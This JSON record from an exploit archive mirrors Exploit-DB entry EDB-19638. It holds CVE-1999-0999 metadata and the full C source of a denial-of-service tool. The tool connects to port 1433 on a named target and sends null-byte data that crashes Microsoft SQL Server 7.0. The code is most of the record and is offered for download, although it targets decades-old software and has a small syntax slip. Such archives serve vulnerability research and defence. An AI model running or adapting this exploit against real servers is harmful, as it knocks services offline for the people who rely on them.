{"exploit":{"id":"EDB-19638","name":"Microsoft SQL Server 7.0/7.0 SP1 - NULL Data Denial of Service (DoS)","description":"Microsoft SQL Server 7.0/7.0 SP1 - NULL Data Denial of Service (DoS)","cves":["CVE-1999-0999"],"author":"Kevork Belian","published":"1999-11-19","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/19638","path":"exploits/windows/dos/19638.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-19638.c","vulnerabilities":[{"id":"CVE-1999-0999","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft SQL 7.0 server allows a remote attacker to cause a denial of service via a malformed TDS packet.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-1999-0999","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-1999-0999"},"updatedAt":"2024-08-01T16:55:29.358Z","retrievedAt":"2026-11-27T11:11:47.174Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-19638.png?v=2","url":"https://exploitbin.com/exploits/EDB-19638","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-19638/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-19638/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/1999/https://www.securityfocus.com/bid/817/info\n\nIf Microsoft SQL Server 7.0 receives a TDS header with three or more NULL bytes as data it will crash. The crash will generate an event in the log with ID 17055 \"fatal exception EXCEPTION_ACCESS VIOLATION\".\n\n/*\n** sqldos.c -- a DoS attack agains MS SQL Server\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <errno.h>\n#include <string.h>\n#include <netdb.h>\n#include <sys/types.h>\n#include <netinet/in.h>\n#include <sys/socket.h>\n\n#define PORT 1433    /* the port SQL Server listens on */\n\n\nint main(int argc, char *argv[])\n{\n    int sockfd, numbytes;\n    struct hostent *he;\n    char buff[65535];\n    struct sockaddr_in target_addr;\n\n    if (argc != 2) {\n        fprintf(stderr,\"Usage: sqldos target\\n\");\n        exit(1);\n    }\n\n    if ((he=gethostbyname(argv[1])) == NULL)\n\n        perror(\"gethostbyname\");\n        exit(1);\n    }\n\n    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n        perror(\"socket error\");\n        exit(1);\n    }\n\n    target_addr.sin_family = AF_INET;\n    target_addr.sin_port = htons(PORT);\n    target_addr.sin_addr = *((struct in_addr *)he->h_addr);\n    bzero(&(target_addr.sin_zero), 8);\n\n    if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct\nsockaddr)) == -1) {\n        perror(\"connect error\");\n        exit(1);\n    }\n    memset(&buff, 0, 3);\n\n    if ((numbytes=send(sockfd, buff, 14, 0)) == -1) {\n        perror(\"send errot\");\n        exit(1);\n    }\n    close(sockfd);\n\n    return 0;\n}","sha256":"4f51eadefe2563d3abaea0a13e1bc77e25e6eb5564f975d5a0cd13eb533251c3","bytes":1532,"fetchedAt":"2026-11-27T11:11:42.525Z","encoding":"utf-8 (display only; download retains original bytes)"}